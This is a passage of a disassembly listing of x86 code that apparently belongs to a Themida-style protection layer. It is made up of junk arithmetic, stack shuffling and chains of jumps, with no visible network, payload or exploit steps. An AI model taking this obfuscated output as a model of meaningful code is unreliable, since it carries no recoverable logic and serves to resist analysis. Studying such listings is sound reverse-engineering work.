add ebp, 915C075Bh
xor eax, ebp
pop ebp
push small word ptr [eax]
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5547B0
loc_556C4E: ; CODE XREF: sub_5547B0+A4Cj
xor esi, eax
mov eax, [esp+8+var_8]
jmp loc_55C7F5
; END OF FUNCTION CHUNK FOR sub_5547B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556C58: ; CODE XREF: sub_559C84+53ECj
mov eax, [esp+48h+var_4A+2]
push edi
mov edi, esp
add edi, 4
jmp loc_55A799
; ---------------------------------------------------------------------------
loc_556C69: ; CODE XREF: sub_559C84+1D3Ej
shr eax, 2
xchg eax, ecx
inc ecx
xchg eax, ecx
neg eax
push 3803h
mov [esp+50h+var_52+2], ebx
push edi
mov edi, 1FE93D39h
mov ebx, 9A13FB89h
jmp loc_55A612
; ---------------------------------------------------------------------------
loc_556C89: ; CODE XREF: sub_559C84+51DFj
add bl, 4Bh
sub bl, dh
sub bl, 4Bh
pop edx
add al, 0B0h
add al, bl
jmp loc_5537AB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556D58
loc_556C9B: ; CODE XREF: sub_556D58+1j
push ecx
push 1B1E4771h
mov ecx, [esp+0Ch+var_C]
add esp, 4
push ebx
push edx
push 71CA053Dh
pop edx
and edx, 28D81A3Bh
shl edx, 4
jmp loc_55AF3D
; END OF FUNCTION CHUNK FOR sub_556D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5561B6
loc_556CBD: ; CODE XREF: sub_5561B6+12j
mov edi, 38384BBCh
sub edi, 67394B96h
dec edi
push esi
mov esi, 5F076E85h
add esi, 5F730C3h
neg esi
or esi, 5FAE278Eh
add esi, 3A1734BDh
add esi, 10839E71h
add edi, esi
pop esi
xor edi, 36AF7A87h
sub edi, 57E809A7h
xor edi, 75FE37EBh
jmp loc_5568A6
; END OF FUNCTION CHUNK FOR sub_5561B6
; =============== S U B R O U T I N E =======================================
sub_556D03 proc near ; CODE XREF: sub_559C84-1485j
var_4 = dword ptr -4
push ebx
mov ebx, 2
sub edi, 0BBE1AC6h
add edi, ebx
add edi, 0BBE1AC6h
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_55CC30
sub_556D03 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556D25: ; CODE XREF: sub_559C84-504j
add esi, ecx
sub esi, 272A6DE8h
pop ecx
add esi, 2
xchg esi, [esp+4Ch+var_4E+2]
jmp loc_555FDB
; ---------------------------------------------------------------------------
loc_556D39: ; CODE XREF: sub_559C84-6195j
shl eax, 2
dec eax
sub eax, 46CEA357h
push esi
jmp loc_55ADE3
; ---------------------------------------------------------------------------
loc_556D48: ; CODE XREF: sub_559C84+7A8j
not ecx
jmp loc_55BD40
; ---------------------------------------------------------------------------
loc_556D4F: ; CODE XREF: sub_559C84+255Ej
sub al, bh
pop bx
jmp loc_5585EE
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_556D58 proc near ; CODE XREF: sub_559C84+3019j
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 00556C9B SIZE 00000022 BYTES
push ebx
jmp loc_556C9B
sub_556D58 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556D5E: ; CODE XREF: sub_559C84+C68j
mov [esp+40h+var_42+2], ecx
jmp loc_55A623
; ---------------------------------------------------------------------------
loc_556D66: ; CODE XREF: sub_559C84-49E8j
mov edx, 1FDAFD58h
add edx, edi
pop edi
push edx
jmp loc_55C0FC
; ---------------------------------------------------------------------------
loc_556D74: ; CODE XREF: sub_559C84-4875j
add bl, 52h
sub bl, al
sub bl, 52h
add bl, 41h
sub bl, 74h
sub bl, 5Fh
sub bl, 19h
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_556D93: ; CODE XREF: sub_559C84+22F8j
push eax
push [esp+48h+var_46+2]
mov eax, [esp+4Ch+var_4E+2]
add esp, 4
pop [esp+48h+var_4A+2]
pop esp
jmp loc_55DA51
; ---------------------------------------------------------------------------
loc_556DA7: ; CODE XREF: sub_559C84+2DB1j
push 732B2E36h
pop ebx
jmp loc_55989E
; ---------------------------------------------------------------------------
loc_556DB2: ; CODE XREF: sub_559C84+3200j
sub bl, 2Ch
add bl, 0AAh
mov ecx, [esp+40h+var_42+2]
push ebp
push esp
mov ebp, [esp+48h+var_4A+2]
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp+44h+var_46+2]
pop esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+44h+var_46+2]
pop esp
mov [esp+40h+var_42+2], ebx
jmp loc_55E02D
; ---------------------------------------------------------------------------
loc_556DF1: ; CODE XREF: sub_559C84+2AA2j
mov [esp+40h+var_42+2], ecx
mov ecx, 1Ch
jmp loc_55D33C
; ---------------------------------------------------------------------------
loc_556DFE: ; CODE XREF: sub_559C84+C4Fj
and bl, 0F1h
dec bl
add bl, 21h
jmp loc_553F94
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556E0B: ; CODE XREF: Themida_:005547ABj
mov esp, [esp]
jmp loc_55A840
; ---------------------------------------------------------------------------
loc_556E13: ; CODE XREF: Themida_:0055F8BBj
pop ax
push ecx
mov cl, 0F1h
xor cl, 22h
xor dl, cl
pop ecx
sub dl, 0FFh
push ebx
mov bh, dl
jmp loc_55CE89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E425
loc_556E29: ; CODE XREF: sub_55E425+1Cj
sub esi, 7C471701h
jmp loc_5574A3
; END OF FUNCTION CHUNK FOR sub_55E425
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556E34: ; CODE XREF: sub_559C84+1D81j
mov ch, 91h
jmp loc_557168
; ---------------------------------------------------------------------------
loc_556E3B: ; CODE XREF: sub_559C84-31DEj
add ebp, 4
jmp loc_556254
; ---------------------------------------------------------------------------
loc_556E46: ; CODE XREF: sub_559C84-213Dj
add esp, 4
or eax, eax
jz loc_5559D1
push dword ptr [edi+1Ch]
jmp loc_55C20B
; ---------------------------------------------------------------------------
loc_556E59: ; CODE XREF: sub_559C84+1F89j
add bl, cl
jmp loc_558958
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556E60: ; CODE XREF: Themida_:0055EF7Aj
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 0CC3h
mov [esp], edi
push 1446h
push esp
pop dword ptr [esp]
jmp loc_554981
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556E95: ; CODE XREF: sub_559C84+18BCj
mov bl, dl
pop edx
jmp loc_55ED46
; ---------------------------------------------------------------------------
loc_556E9D: ; CODE XREF: sub_559C84-60B6j
mov [esp+18h+var_18], ecx
mov ecx, 642240D2h
jmp loc_55F784
; ---------------------------------------------------------------------------
loc_556EAA: ; CODE XREF: sub_559C84+2E13j
mov eax, [esp+18h+var_18]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 58621B50h
add ebx, 416724FBh
dec ebx
xor ebx, 99C9404Eh
sub ebp, ebx
pop ebx
xchg ebp, [esp+18h+var_18]
jmp loc_55D5D1
; ---------------------------------------------------------------------------
loc_556EDA: ; CODE XREF: sub_559C84+B47j
pop edi
sub ebx, 4
xchg ebx, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], ecx
sub esp, 4
mov [esp+14h+var_14], esp
add [esp+14h+var_14], 4
pop ecx
push edx
jmp loc_55D02C
; ---------------------------------------------------------------------------
loc_556EF6: ; CODE XREF: sub_559C84+378Fj
xor ebp, 0CC4CEB6Fh
add ebx, ebp
pop ebp
sub ebx, 2
jmp sub_55F9FD
; ---------------------------------------------------------------------------
loc_556F07: ; CODE XREF: sub_559C84-2D48j
pop eax
push edi
jmp loc_55DF66
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
push 16E7h
mov [esp], ebx
jmp loc_55A923
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D58
loc_556F1F: ; CODE XREF: sub_553D58+8j
add dh, 6Fh
sub al, dh
jmp loc_55FC66
; END OF FUNCTION CHUNK FOR sub_553D58
; =============== S U B R O U T I N E =======================================
sub_556F29 proc near ; CODE XREF: sub_55ED81-120j
; FUNCTION CHUNK AT 0055485C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557050 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055F365 SIZE 0000000B BYTES
push ebp
jmp loc_557050
sub_556F29 endp
; =============== S U B R O U T I N E =======================================
sub_556F2F proc near ; DATA XREF: Themida_:0055345Co
pop dword ptr [edx]
jmp loc_55351F
sub_556F2F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556F36: ; CODE XREF: sub_559C84-EB0j
sub bh, 2Ch
push [esp+10h+var_10]
jmp loc_556F07
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556F41: ; CODE XREF: Themida_:00556B63j
or ebp, eax
pop eax
shr ebp, 8
xor ebp, 79DD7Fh
or [edi+1Ch], ebp
mov ebp, [esp]
jmp loc_558826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55590A
loc_556F58: ; CODE XREF: sub_55590A-1A5Cj
add ebp, eax
pop eax
jmp loc_5577D4
; END OF FUNCTION CHUNK FOR sub_55590A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556F60: ; CODE XREF: sub_559C84+4874j
add ecx, 4
push edx
mov edx, 4
add ecx, edx
pop edx
xor ecx, [esp+14h+var_14]
xor [esp+14h+var_14], ecx
xor ecx, [esp+14h+var_14]
pop esp
push 110Eh
mov [esp+14h+var_14], eax
jmp loc_55D59A
; ---------------------------------------------------------------------------
loc_556F86: ; CODE XREF: sub_559C84+293Bj
pop ebx
push [esp+10h+var_10]
jmp loc_5594F9
; ---------------------------------------------------------------------------
loc_556F8F: ; CODE XREF: sub_559C84-50E3j
mov cx, 4CB2h
add di, cx
jmp loc_55843B
; ---------------------------------------------------------------------------
loc_556F9B: ; CODE XREF: sub_559C84-6329j
and ebp, eax
pop eax
sub ebp, 418D3394h
sub ebp, 2372DD0Ah
sub esi, ebp
pop ebp
xor esi, [esp+48h+var_4A+2]
xor [esp+48h+var_4A+2], esi
xor esi, [esp+48h+var_4A+2]
mov esp, [esp+48h+var_4A+2]
mov word ptr [esp+48h+var_4A+2], cx
jmp loc_554CA2
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_556FC2 proc near ; CODE XREF: sub_559C84+234Cj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00556AF5 SIZE 00000010 BYTES
sub esp, 4
mov [esp-4+arg_0], esi
mov esi, 62F07488h
not esi
or esi, 6FDF590Fh
shr esi, 5
and esi, 275103EDh
add esi, 1FC604ACh
jmp loc_556AF5
sub_556FC2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556FE9: ; CODE XREF: sub_559C84-2BFDj
pop edx
or ch, 28h
xor ch, 91h
neg ch
sub ch, 0ABh
mov dh, ch
mov ecx, [esp+44h+var_46+2]
add esp, 4
sub al, dh
mov dx, word ptr [esp+40h+var_42+2]
add esp, 2
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
loc_557013: ; DATA XREF: Themida_:0055323Co
mov ax, fs:[edx]
jmp loc_555C43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55701C: ; CODE XREF: sub_559C84+5696j
add ebx, ebp
pop ebp
sub ebx, 4
xchg ebx, [esp+38h+var_3A+2]
pop esp
mov [esp+34h+var_34], ebx
push ebp
jmp loc_55AA40
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_55702F proc near ; CODE XREF: sub_559C84-539Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553E5B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005559CE SIZE 00000022 BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_553E5B
sub_55702F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557043: ; CODE XREF: sub_559C84-40CFj
mov [esp+4Ch+var_4E+2], edi
mov edi, 4E1D61FBh
jmp loc_553CC6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556F29
loc_557050: ; CODE XREF: sub_556F29+1j
push edi
mov edi, 70CB0F3Fh
xor edi, 14995F43h
push ebx
jmp loc_55F365
; END OF FUNCTION CHUNK FOR sub_556F29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557062: ; CODE XREF: sub_559C84-53D3j
add ebx, 502056CDh
mov edx, ebx
pop ebx
jmp loc_55821D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_557070: ; DATA XREF: Themida_:00553354o
push dword ptr [esp]
jmp loc_555728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557078: ; CODE XREF: sub_559C84+D99j
add ebp, 4
jmp loc_5567DD
; ---------------------------------------------------------------------------
loc_557083: ; CODE XREF: sub_559C84+32B3j
mov dl, 6Ch
mov ch, dl
jmp loc_556FE9
; ---------------------------------------------------------------------------
loc_55708C: ; CODE XREF: sub_559C84-661Dj
mov dl, 53h
jmp loc_556931
; ---------------------------------------------------------------------------
loc_557093: ; CODE XREF: sub_559C84-5AF1j
pop esp
mov ax, word ptr [esp-4+arg_0]
push edi
push 165Eh
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
push [esp+4+var_4]
pop edi
add esp, 4
push ebx
mov ebx, 4
jmp loc_5587FC
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55991D
loc_5570BD: ; CODE XREF: sub_55991D+7j
sub ebp, 4E3477F4h
sub ebp, 0C6425842h
add ecx, ebp
jmp loc_55CB3B
; END OF FUNCTION CHUNK FOR sub_55991D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5570D0: ; CODE XREF: sub_559C84-56EFj
xor edi, eax
sub edi, 7B144519h
add edi, 0D38E6630h
add ebx, 2133144Fh
add ebx, edi
push ecx
mov ecx, 2133144Fh
sub ebx, ecx
pop ecx
mov edi, [esp+20h+var_20]
add esp, 4
jmp loc_55C41B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5570FA: ; CODE XREF: Themida_:0055F053j
mov [esp], ebx
mov ebx, 2
sub esi, 22E361EFh
add esi, ebx
jmp loc_55FC40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55710F: ; CODE XREF: sub_559C84-43A6j
add al, 0E7h
and al, 70h
shl al, 3
inc al
add al, 0Ch
sub dh, al
pop eax
sub al, 0F5h
jmp loc_55496F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_559D7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55712D: ; CODE XREF: sub_559C84+26E8j
shl eax, cl
jmp loc_5572FA
; ---------------------------------------------------------------------------
loc_557134: ; CODE XREF: sub_559C84-5219j
push 5A2107E8h
push [esp+52h+var_52]
pop edx
add esp, 4
push edx
not [esp+52h+var_52]
pop edx
jmp loc_55F134
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D58
loc_55714D: ; CODE XREF: sub_553D58+BF1Bj
sub al, bl
mov ebx, [esp+4+var_4]
add esp, 4
sub al, 0B7h
add al, ch
jmp loc_55ECBD
; END OF FUNCTION CHUNK FOR sub_553D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557161: ; CODE XREF: sub_559C84-5164j
mov edx, esp
jmp loc_553F01
; ---------------------------------------------------------------------------
loc_557168: ; CODE XREF: sub_559C84-2E4Ej
and al, ch
pop ecx
not al
sub al, 0BAh
dec al
jmp loc_55A78F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_557176: ; CODE XREF: Themida_:0055471Ej
add dword ptr [esp+4], 19DF7D97h
jmp loc_55957C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557183: ; CODE XREF: sub_559C84-4B2Bj
add edi, esi
pop esi
xor edi, [esp-16h+arg_10+2]
xor [esp-16h+arg_10+2], edi
xor edi, [esp-16h+arg_10+2]
mov esp, [esp-16h+arg_10+2]
jmp loc_554A69
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_557197: ; CODE XREF: Themida_:0055F9BEj
mov [esp], esi
mov esi, 4
jmp loc_55A514
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5571A4: ; CODE XREF: sub_559C84-9EBj
pop esp
add [esp-1Ah+arg_18+2], ebp
push ebp
jmp loc_556829
; ---------------------------------------------------------------------------
loc_5571AF: ; CODE XREF: sub_559C84+1012j
sub esi, 0A8546286h
jmp loc_55A7EE
; ---------------------------------------------------------------------------
loc_5571BA: ; CODE XREF: sub_559C84+3490j
shr ebx, 4
jmp loc_5548AB
; ---------------------------------------------------------------------------
loc_5571C2: ; CODE XREF: sub_559C84+2E99j
add ecx, edx
mov edx, [esp-16h+arg_10+2]
add esp, 4
xor ecx, ebp
push [esp-1Ah+arg_14+2]
jmp loc_55C714
; ---------------------------------------------------------------------------
loc_5571D7: ; CODE XREF: sub_559C84-4CBBj
add ebx, 127C0436h
sub ebx, ebp
jmp loc_55D83B
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5571E4 proc near ; CODE XREF: sub_559C84+1EF8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00557E0D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558A17 SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], esi
mov si, 3681h
shr si, 3
not si
xor si, 0E44Fh
mov di, si
mov esi, [esp+4+var_4]
add esp, 4
push ebp
mov bp, 7136h
add bp, 0D5C5h
and di, bp
pop ebp
shr di, 1
jmp loc_558A17
sub_5571E4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55721C: ; CODE XREF: sub_559C84-3EFEj
push ecx
neg [esp+62h+var_64+2]
pop ecx
or ecx, 4E6F7449h
jmp loc_555B06
; ---------------------------------------------------------------------------
loc_55722C: ; CODE XREF: sub_559C84-5CAj
dec ecx
or ecx, 23435F0h
jmp loc_55973E
; ---------------------------------------------------------------------------
loc_557238: ; CODE XREF: sub_559C84+119Bj
add edx, 9CF4B908h
add esi, edx
pop edx
jmp loc_557647
; ---------------------------------------------------------------------------
loc_557246: ; CODE XREF: sub_559C84-627Ej
not bh
jmp loc_55CB2B
; ---------------------------------------------------------------------------
loc_55724D: ; CODE XREF: sub_559C84-5B9Ej
add esp, 4
push eax
push esi
mov esi, 3D8B7DE0h
xor esi, 3D8B7DE2h
mov eax, esi
pop esi
add edx, eax
mov eax, [esp+0]
add esp, 4
jmp loc_55FA5A
; ---------------------------------------------------------------------------
loc_55726D: ; CODE XREF: sub_559C84+159Dj
mov esi, 4C950893h
sub [esp-4+arg_4], 3BE3639Eh
sub [esp-4+arg_4], esi
jmp loc_55DE12
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557920
loc_557283: ; CODE XREF: sub_557920+9j
push ecx
push 4A8E6D0Fh
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_558721
; END OF FUNCTION CHUNK FOR sub_557920
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5559F0
loc_557294: ; CODE XREF: sub_5559F0+3068j
push esi
mov esi, 7D5A622Bh
inc esi
neg esi
add esi, 7D5A622Eh
jmp loc_55E89E
; END OF FUNCTION CHUNK FOR sub_5559F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5572A8: ; CODE XREF: sub_559C84-2186j
mov [esp-4+arg_0], edx
mov edx, 8A4F15h
sub esi, 593D3428h
sub esi, edx
add esi, 593D3428h
mov edx, [esp-4+arg_0]
jmp loc_555058
; ---------------------------------------------------------------------------
loc_5572C6: ; CODE XREF: sub_559C84-176Dj
push ax
mov al, 18h
sub esp, 4
mov [esp+2+var_4+2], edx
jmp loc_55CD47
; ---------------------------------------------------------------------------
loc_5572D5: ; CODE XREF: sub_559C84+48ADj
not ebp
neg ebp
jmp loc_55F165
; ---------------------------------------------------------------------------
loc_5572DE: ; CODE XREF: sub_559C84+39CDj
mov [esp+2+var_4+2], edi
jmp loc_5557E4
; ---------------------------------------------------------------------------
loc_5572E6: ; CODE XREF: sub_559C84+3095j
pop esi
add edx, 4
jmp loc_55C336
; ---------------------------------------------------------------------------
loc_5572EF: ; CODE XREF: sub_559C84+37B0j
or ecx, 31787712h
jmp loc_55E826
; ---------------------------------------------------------------------------
loc_5572FA: ; CODE XREF: sub_559C84-2B55j
push edx
push 0FFFFFFFFh
push [esp+10h+var_10]
pop edx
jmp loc_55BD96
; ---------------------------------------------------------------------------
loc_557309: ; CODE XREF: sub_559C84-5749j
mov [esp+34h+var_34], eax
jmp loc_557C8B
; ---------------------------------------------------------------------------
loc_557311: ; CODE XREF: sub_559C84+3A12j
neg ebp
or ebp, 718C3E07h
dec ebp
push edi
mov edi, 0AFC4D11Ch
sub ebp, edi
jmp loc_55B990
; ---------------------------------------------------------------------------
loc_557327: ; CODE XREF: sub_559C84-3CC4j
sub bx, ax
sub bx, 64E5h
push ax
mov ax, 3A62h
push edi
mov di, 1872h
inc di
or di, 5E8Dh
jmp loc_554B9F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_557346: ; CODE XREF: sub_557976-2962j
pop edx
sub al, 0BEh
add al, bl
push edx
jmp loc_5562CA
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557351: ; CODE XREF: sub_559C84-914j
xor ebx, eax
jmp loc_555201
; ---------------------------------------------------------------------------
loc_557358: ; CODE XREF: sub_559C84+74Ej
sub bl, al
add bl, 19h
sub bl, 28h
add bl, 7Eh
push edx
push 787924A7h
jmp loc_554F63
; ---------------------------------------------------------------------------
loc_55736E: ; CODE XREF: sub_559C84-28AEj
mov edi, 70B94270h
sub ebp, edi
mov edi, [esp+5Ch+var_5C]
add esp, 4
jmp loc_55CAFC
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_557380 proc near ; CODE XREF: sub_559C84-1E7Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebp
push esi
xor [esp+8+var_8], 4AA96FB4h
jmp loc_55B0DE
sub_557380 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557393: ; CODE XREF: sub_559C84-A51j
pop edx
jmp loc_55944E
; ---------------------------------------------------------------------------
loc_557399: ; CODE XREF: sub_559C84+3EC3j
push edx
push 67944129h
jmp loc_55371D
; ---------------------------------------------------------------------------
loc_5573A4: ; CODE XREF: sub_559C84-25FEj
push edx
mov dh, 0A8h
shr dh, 8
shr dh, 5
push eax
mov al, 6
inc al
neg al
not al
neg al
xor al, 36h
and dh, al
pop eax
sub dh, 0D3h
jmp loc_55E96C
; ---------------------------------------------------------------------------
loc_5573C5: ; CODE XREF: sub_559C84+1259j
push esi
mov esi, esp
push 7E8h
mov [esp+68h+var_6A+2], ebp
mov ebp, 70B94274h
push edi
jmp loc_55736E
; ---------------------------------------------------------------------------
loc_5573DB: ; CODE XREF: sub_559C84+5C5j
add al, bl
jmp loc_553B72
; ---------------------------------------------------------------------------
loc_5573E2: ; CODE XREF: sub_559C84+2816j
pop ecx
add ebx, 429A5D6Dh
mov ecx, ebx
mov ebx, [esp+68h+var_6A+2]
add esp, 4
push ecx
mov ebp, [esp+68h+var_6A+2]
add esp, 4
jmp loc_559565
; ---------------------------------------------------------------------------
loc_557400: ; CODE XREF: sub_559C84+4257j
xchg edi, [esp+64h+var_64]
jmp loc_553D19
; ---------------------------------------------------------------------------
loc_557408: ; CODE XREF: sub_559C84+4A3Dj
push esi
mov esi, esp
push 6263h
mov [esp+0], ebp
push esi
push ebx
push 4DE27810h
pop ebx
sub ebx, 4DE2780Ch
mov esi, ebx
mov ebx, [esp+0]
jmp loc_557AF0
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55698E
loc_55742B: ; CODE XREF: sub_55698E+2691j
mov ch, bl
pop ebx
jmp loc_55C6D3
; END OF FUNCTION CHUNK FOR sub_55698E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557433: ; CODE XREF: sub_559C84-3E21j
add ebx, 4
push ecx
push esi
push 59484D84h
jmp loc_55354F
; ---------------------------------------------------------------------------
loc_557445: ; CODE XREF: sub_559C84-621j
add ebp, 4
add ebp, 4
xchg ebp, [esp+5Ah+var_5C+2]
pop esp
or eax, eax
jz loc_55D1AD
push dword ptr [edi+1Ch]
push [esp+5Ah+var_5C+2]
jmp loc_559573
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F608
loc_557465: ; CODE XREF: sub_55F608-816Aj
pop esp
mov [esp-4+arg_0], edx
jmp loc_55BE42
; END OF FUNCTION CHUNK FOR sub_55F608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55746E: ; CODE XREF: sub_559C84+F78j
not al
inc al
dec al
jmp loc_55C1DE
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F608
loc_557479: ; CODE XREF: sub_55F608-1475j
mov esi, esp
push edx
mov edx, 783253DAh
sub edx, 4C266267h
and edx, 42903DBAh
not edx
sub edx, 0FFFFCEC9h
add esi, edx
pop edx
sub esi, 4
xchg esi, [esp-4+arg_0]
jmp loc_557465
; END OF FUNCTION CHUNK FOR sub_55F608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E425
loc_5574A3: ; CODE XREF: sub_55E425-75F6j
sub esi, edi
add esi, 7C471701h
pop edi
xchg esi, [esp+0]
pop esp
mov [esp-4+arg_0], eax
mov eax, esp
add eax, 4
add eax, 2
xor eax, [esp-4+arg_0]
xor [esp-4+arg_0], eax
xor eax, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
shl word ptr [esp-4+arg_0], cl
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_55E425
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5574D3: ; CODE XREF: sub_559C84-343Dj
pop edx
mov dl, 0E9h
jmp loc_55CD2F
; ---------------------------------------------------------------------------
loc_5574DB: ; CODE XREF: sub_559C84-221Aj
add ecx, esi
pop esi
add ecx, 2
xor ecx, [esp+14h+var_14]
xor [esp+14h+var_14], ecx
xor ecx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
shr word ptr [esp+14h+var_14], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5574F7: ; CODE XREF: sub_559C84+3A1Bj
push [esp+18h+var_18]
jmp loc_557ECA
; ---------------------------------------------------------------------------
loc_5574FF: ; CODE XREF: sub_559C84-188j
mov esi, 0EAB7B8Bh
xor esi, ecx
pop ecx
mov edi, esi
mov esi, [esp+18h+var_18]
jmp loc_557FF7
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
add esp, 4
push esi
mov esi, 4
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
pop esp
push ecx
jmp loc_55BCC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_55752D: ; CODE XREF: sub_555BE3+356Ej
add [esp+8+var_8], 4
pop edi
add edi, 4
push 466Ah
mov [esp+8+var_8], eax
push ebx
mov ebx, 7DBE15D2h
shl ebx, 2
xor ebx, 7B540CD0h
shr ebx, 6
sub ebx, 236B16Ch
mov eax, ebx
pop ebx
add edi, eax
pop eax
jmp loc_558253
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_557566: ; CODE XREF: sub_559C84-3BAEj
push 5EEBh
mov [esp+48h+var_4A+2], eax
